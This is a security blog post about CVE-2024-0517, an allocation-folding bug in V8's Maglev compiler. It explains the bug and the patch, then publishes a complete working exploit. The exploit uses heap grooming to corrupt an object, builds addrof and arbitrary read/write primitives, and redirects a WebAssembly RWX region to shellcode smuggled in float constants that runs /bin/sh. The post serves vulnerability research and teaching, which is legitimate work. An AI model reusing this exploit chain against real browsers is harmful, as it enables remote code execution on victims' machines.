Skip to main content

CVE-2024-0517 Quick Blog

·1337 words·7 mins·
Browser V8 Maglev
Pranav Krishna
Author
Pranav Krishna
A Passionate Exploit Developer, actively playing CTFs with team bi0s
Table of Contents

This post explores a vulnerability found in the Maglev optimizing compiler of V8, specifically within a function responsible for optimizing classes that inherit from a parent class.

The Bug
#

The bug is located in the VisitFindNonDefaultConstructorOrConstructMaglev function. This function attempts to optimize a class that has a parent class, but the manner in which it is lowered introduces a critical issue.

  1. Garbage Collection Trigger:

    • Executing [1000] = 8 triggers garbage collection (GC).
    • During GC, if it occurs between two folded allocations, the first allocated chunk may be relocated, and the space of the second allocation is freed since no objects point to it at that moment. This leads to an out-of-bounds (OOB) access during subsequent folded allocations.

    Memory Allocation Visualization

    Note: In the image, the chunks are moved from the young generation to old space. The labels “old” and “new” denote the previous and current allocations, respectively, and should not be confused.

  2. Allocation Process:

    • The BuildAllocateFastObject() function calls ExtendOrReallocateCurrentRawAllocation().
    • Preconditions for allocation:
      • The object being constructed must be constant: if (!maybe_constant) return false;
      • The parent constructor must be a function: if (!current.IsJSFunction()) return false;
      • The validity of the new_target_function as a constructor is checked:
if (new_target_function && new_target_function->IsJSFunction() && HasValidInitialMap(new_target_function->AsJSFunction(), current_function))
  • If these conditions are met, BuildAllocateFastObject is invoked for allocation in the young generation.

Exploit
#

Exploit Flow Visualization

To exploit this vulnerability:

  1. Obtain Addrof Primitive: Start by acquiring an addrof primitive, which allows you to read memory addresses.
  2. Shellcode Smuggling: You embed you shellcode into floating point numbers in the wasm code. Through which you can execute 2/3 byte instructions and jump to the next floating point number.
  3. Problem with this Sandbox Escape: Once the WASM instance has been transitioned to trusted space, a new method is required to escape the sandbox and regain control over code execution.

Patch
#

To address this vulnerability, the developers implemented the following changes:

  • Invoke ClearCurrentRawAllocation: This function sets current_raw_allocation to null, ensuring that both allocations occur without the risk of being folded across a garbage collection (GC) run. This change prevents the out-of-bounds access that was causing the vulnerability.

  • Securing WASM Instances: The WASM instance has been moved into a trusted zone. Developers are actively working to eliminate any unsafe pointers associated with this instance, enhancing the security of the overall system.

poc:
#

// Direct from the Exodus Blog (mentioned below).
function main() {
    class ClassParent {}
    class ClassBug extends ClassParent {
        constructor() {
            const v24 = new new.target();               // makes the checkvalue of the parent class to be constant with this call.
            super();                                    // Creates the instance of `this` object and allocates the memory required for storing infor for this object.
            let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];  // After triggering the GC in the wrong folded allocation this gets allocated, which gives us OOB
        }
        [1000] = 8; // trigger the GC
    }
    // triggering the maglev optimizer.
    for (let i = 0; i < 300; i++) {
        Reflect.construct(ClassBug, [], ClassParent);
    }
}
%NeverOptimizeFunction(main);
main();

My exploit:
#

Some Basic utilities to make my exploitation phase easier: (includes float to int and vice-versa, trigger GC with the help of huge allcoations).

///////////////////////////////////////////////////////////////////////
///////////////////         Utility Functions       ///////////////////
///////////////////////////////////////////////////////////////////////

let hex = (val) => '0x' + val.toString(16);

// 8 byte array buffer
const __buf = new ArrayBuffer(8);
const __f64_buf = new Float64Array(__buf);
const __u32_buf = new Uint32Array(__buf);

// typeof(val) = float
function ftoi(val) {
    __f64_buf[0] = val;
    return BigInt(__u32_buf[0]) + (BigInt(__u32_buf[1]) << 32n); // Watch for little endianness
}

function print(x){
    console.log("[+] " + x);
}

// typeof(val) = BigInt
function itof(val) {
    __u32_buf[0] = Number(val & 0xffffffffn);
    __u32_buf[1] = Number(val >> 32n);
    return __f64_buf[0];
}

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

function reverse(x) {
    var buf = new ArrayBuffer(0x20);
    var view1 = new BigInt64Array(buf);
    var view2 = new Uint8Array(buf);
    view1[0] = x;
    view2.reverse();
    return view1[3];
}

function assert(x) {
	console.assert(x);
}

I have 2 wasm instances because, the first wasm_code has our smuggled shellcode, which I have covered in the ArrayShift Blogpost, The wasm_instance_helper is the object in which we will corrupt and redirect the RWX region to our shellcode.

////////////////////////////////////////////////////////////////////////
/////////////////////         Main Exploit         /////////////////////
////////////////////////////////////////////////////////////////////////

// for future - shellcode smuggling
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x05,0x01,0x60,0x00,0x01,0x7c,0x03,0x02,0x01,0x00,0x07,0x08,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0a,0x53,0x01,0x51,0x00,0x44,0xbb,0x2f,0x73,0x68,0x00,0x90,0xeb,0x07,0x44,0x48,0xc1,0xe3,0x20,0x90,0x90,0xeb,0x07,0x44,0xba,0x2f,0x62,0x69,0x6e,0x90,0xeb,0x07,0x44,0x48,0x01,0xd3,0x53,0x31,0xc0,0xeb,0x07,0x44,0xb0,0x3b,0x48,0x89,0xe7,0x90,0xeb,0x07,0x44,0x31,0xd2,0x48,0x31,0xf6,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x0b]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f1 = wasm_instance.exports.main;

// to corrupt the pointer here.
var wasm_code_helper = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod_helper = new WebAssembly.Module(wasm_code_helper);
var wasm_instance_helper = new WebAssembly.Instance(wasm_mod_helper);
var f2 = wasm_instance_helper.exports.main;

This is similar to the POC where they have specific conditions met to trigger the ExtendOrReallocateCurrentRawAllocation through the ClassBug. Additionally, the only confusing part is, how to know the number of times to call the reflect.construct and when do we know it triggered the actual bug. I was also confused reading the blogpost from exodus, when I asked the exploit dev, he suggested running it multiple times and getting the limit through trial and error.

function gc(){
    for(let i=0;i<0x10;i++) new ArrayBuffer(0x100000);
}

let dogc_flag = null;
function dogc(){
    if(dogc_flag){
        gc();
    }
}

let empty_object = {};
let empty_array = [];
let corrupted_instance = null;

// Main vulnerability.
class ClassParent {}
class ClassBug extends ClassParent {
    constructor(a20, a21, a22) {
        const v24 = new new.target();
        let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
        super();    
        let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
        this.x = x;
        this.a = a;
        JSON.stringify(empty_array);
    }
    [1] = dogc();
}

// jit compile the dogc()
for (let i = 0; i<200; i++) {
    dogc_flag = false;
    if (i%2 == 0) dogc_flag = true;
    dogc();
}

for (let i = 0; i < 650; i++) {
    dogc_flag=false;
    if (i == 644 || i == 645 || i == 646 || i == 640) {
        dogc_flag=true;
        dogc();
        dogc_flag=false;
    }
    if (i == 646) dogc_flag=true;

    let x = Reflect.construct(ClassBug, empty_array, ClassParent);
    if (i == 646) {
        corrupted_instance = x;
    }
}

Once we get he corrupted instance, It should be straight forward exploitation. We can get addrof primitive and try to get arb read/ write primitive.

function addrof(obj){
    corrupted_instance.x[0] = obj;
    __f64_buf[0] = corrupted_instance.a[8];
    return __u32_buf[0];
}

// overwrite the length of `a` array.
corrupted_instance.x[5] = 0x10000;

let oob = [1.1, 2.2, 3.3];
let addr_oob = addrof(oob);
let addr_a = addrof(corrupted_instance.a);

// Quick check
if(addr_oob < addr_a && corrupted_instance.a.length != 0x10000){
    console.log("Exploit Failure!");
}

let off = (addr_oob - addr_a ) + 0xc;
if(off%8 != 0){
    off -= 4;
}
off = off / 8;
off += 9;
print("Achieved 64 bit read write primitive.")
function write_64(addr, val){
    corrupted_instance.a[off] = itof(BigInt(0x3*0x100000000 + addr-8));
    oob[0] = itof(BigInt(val));
}

function read_64(addr){
    corrupted_instance.a[off] = itof(BigInt(0x3*0x100000000 + addr-8));
    return ftoi(oob[0]);
}
let addr_wasm = addrof(wasm_instance);
let addr_rwx = read_64(addr_wasm + 0x48);

print("Leaks:")
print("wasm_isntance: " + addr_wasm.toString(16));
print("RWX region: " + addr_rwx.toString(16));

let shell_off = 0x81an

// get the shellcode in memory.
f1();
write_64(addrof(wasm_instance_helper)+0x48, addr_rwx+shell_off);

// trigger the /bin/sh syscall.
f2();

Smuggling shellcode:
#

Again I have explained it in this blogpost

Extras
#

  • You can find my full exploit and related files here: repo to files
  • new.target: This property indicates whether an object was instantiated using the new keyword. For class constructors, it provides a reference to the function with which the object was created, allowing for better control and functionality in class hierarchies.
  • Reflect.construct: This method creates a new object using the specified target class constructor along with a provided argument list. It enables more flexible instantiation of objects, especially when dealing with inheritance and prototype chains.
  • Allocation Folding: When the V8 engine anticipates a need for additional space in the future, it attempts to allocate the entire required memory in a single operation. This technique can optimize memory usage but may lead to vulnerabilities if not managed properly.
  • FindNonDefaultConstructorOrConstruct: This function constructs an object by traversing the prototype chain to find a non-default constructor, invoking the appropriate super() constructor as needed. The optimization method VisitFindNonDefaultConstructorOrConstruct aims to streamline this process, enhancing performance.

Reference
#

Related

Ret-to-libc [train 3]
1556 words·8 mins
Pwn Training
In this blog we will be trying to leak a libc address and try to get a shell by calling system. Here we will look into 2 challenges with similar attacks but slight variations.
Checkpoint [train 4]
516 words·3 mins
Pwn Training
Congrats on reaching this level. This level acts as a checkpoint (name suggests). You will be combining the idea of format strings, buffer overflows, canaries from previous blogposts. Try this level on your own and check for hints when stuck.
expm1-35C3 - Bug/ Optimizations Analysis
·1734 words·9 mins
Math.expm1 Typer OOB
In this post, we’ll dive deep into a fascinating bug in the V8 JavaScript engine that arises from the mishandling of the Math.expm1(-0) function during the optimization process.